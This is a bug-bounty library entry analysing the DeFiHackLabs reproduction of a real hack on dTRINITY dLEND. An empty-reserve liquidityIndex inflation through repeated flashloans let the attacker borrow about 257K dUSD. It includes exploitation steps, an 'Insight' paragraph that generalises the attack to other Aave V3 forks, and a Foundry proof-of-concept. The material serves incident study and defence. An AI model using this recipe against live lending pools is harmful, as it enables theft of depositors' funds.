# dTRINITY dLEND: empty-market liquidityIndex inflation drains dUSD

dTRINITY dLEND's near-empty cbBTC reserve let flashloan premiums inflate liquidityIndex to 6.2e27, overvaluing collateral to borrow ~257K dUSD.

- Payout: Real-world hack
- Severity: high
- Program: dTRINITY dLEND
- Analysis by: DeFiHackLabs
- Disclosed: 2026-03-17
- Write-up quality: 8/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2026-03/dTRINITYdLEND_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20260317-dtrinitydlend
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:high tech:evm tech:solidity technique:chained vuln:accounting-error vuln:flash-loan vuln:oracle-manipulation vuln:precision-loss

**Target:** Aave V3 fork lending pool (cbBTC reserve / L2Pool)
**Root cause:** FlashLoanLogic._handleFlashLoanRepayment books the premium via cumulateToLiquidityIndex, dividing by aToken.totalSupply(); with the reserve drained to ~1 scaled unit, premiums compound the index unboundedly. Pre-V3.1 Aave fork lacks virtualUnderlyingBalance, so scaled-balance rounding decouples from real assets.
**Steps:**
1. Flash-borrow cbBTC (Morpho Blue), `deposit(cbBTC, 100)`, then `withdraw(cbBTC, 99)` leaving 1 scaled unit in the reserve.
2. Raw-transfer 0.8 cbBTC to the aToken contract (mints no shares, totalSupply stays ~1).
3. Loop `flashLoan(cbBTC, balanceOf(aToken))` up to 400 times; each premium compounds liquidityIndex from 1e27 to 6226621999999999999999999979728276.
4. Run deposit/withdraw cycles (`withdraw 9339930`, `deposit 3175576`) to recover donation and premiums.
5. Tx2: `deposit(cbBTC, 772101004)`, `setUserUseReserveAsCollateral(cbBTC, true)`; inflated index overvalues collateral.
6. `borrow(dUSD, 257328632216555425511184)` within LTV bound, then drain cbBTC via repeated deposit/withdraw cycles and repay flashloan.
**How found:** Recognized dLEND as an Aave V3.0.x fork lacking virtualUnderlyingBalance, and that cumulateToLiquidityIndex divides premium by totalSupply — so a near-empty reserve makes the index hypersensitive to flashloan premiums.
**Exploitation:** Attacker used Morpho Blue flashloans as capital, drained the cbBTC reserve to one scaled share, donated cbBTC directly to the aToken to seed flashloan liquidity without minting shares, then ran ~150 escalating flashloans whose premiums compounded the liquidityIndex to ~6.22e27. In a second tx, a ~7.72 cbBTC deposit was massively overvalued as collateral, letting them borrow ~257.3K dUSD and recover the deposited cbBTC via deposit/withdraw cycles, netting ~257K USD.
**Escalation:** Iterative flashloan loop compounds the index geometrically; inflated index turns a small cbBTC deposit into outsized collateral, enabling borrow far beyond legitimate LTV.
**Insight:** On Aave V3 forks, check whether ReserveData has virtualUnderlyingBalance; if absent, drain a reserve to ~1 scaled unit and probe whether flashloan premiums can pump liquidityIndex, since premium/totalSupply becomes unbounded.

## Proof of concept (copied exactly from the original report)

**Foundry PoC of empty-market liquidityIndex inflation**

```
function testExploit() public balanceLog {
        deal(address(cbBTC), address(this), 5e9); // working capital (attacker used a Morpho flashloan)
        cbBTC.approve(address(POOL), type(uint256).max);

        POOL.deposit(address(cbBTC), 100, address(this), 0);
        POOL.withdraw(address(cbBTC), 99, address(this)); // leave 1 scaled unit
        cbBTC.transfer(A_CBBTC, 8e7); // seed flashloan liquidity, mints no shares

        uint256 i;
        for (i = 0; i < 400; i++) {
            if (POOL.getReserveNormalizedIncome(address(cbBTC)) >= ONCHAIN_INDEX_AFTER) break;
            _flash(cbBTC.balanceOf(A_CBBTC)); // each premium compounds the index
        }
        emit log_named_uint("flashloans run", i);
        assertEq(POOL.getReserveNormalizedIncome(address(cbBTC)), ONCHAIN_INDEX_AFTER, "index != on-chain value");

        POOL.deposit(address(cbBTC), 772101004, address(this), 0);
        POOL.setUserUseReserveAsCollateral(address(cbBTC), true);
        uint256 borrowAmt = 257328632216555425511184; // ~257,328 dUSD, the reported loss
        assertLe(borrowAmt, _ltvBoundedBorrow(772101004), "borrow exceeded LTV bound");
        POOL.borrow(address(dUSD), borrowAmt, 2, 0, address(this));
    }
```

**Flashloan inflation loop and drain helper**

```
function _drain(uint256 pairs, uint256 first, uint256 last) internal {
        POOL.deposit(address(cbBTC), first, address(this), 0);
        for (uint256 i = 0; i < pairs; i++) {
            POOL.withdraw(address(cbBTC), 9339930, address(this));
            POOL.deposit(address(cbBTC), 3175576, address(this), 0);
        }
        POOL.withdraw(address(cbBTC), last, address(this));
    }
```

**Flashloan receiver callback**

```
function executeOperation(address[] calldata, uint256[] calldata, uint256[] calldata, address, bytes calldata)
        external pure returns (bool) { return true; }
```

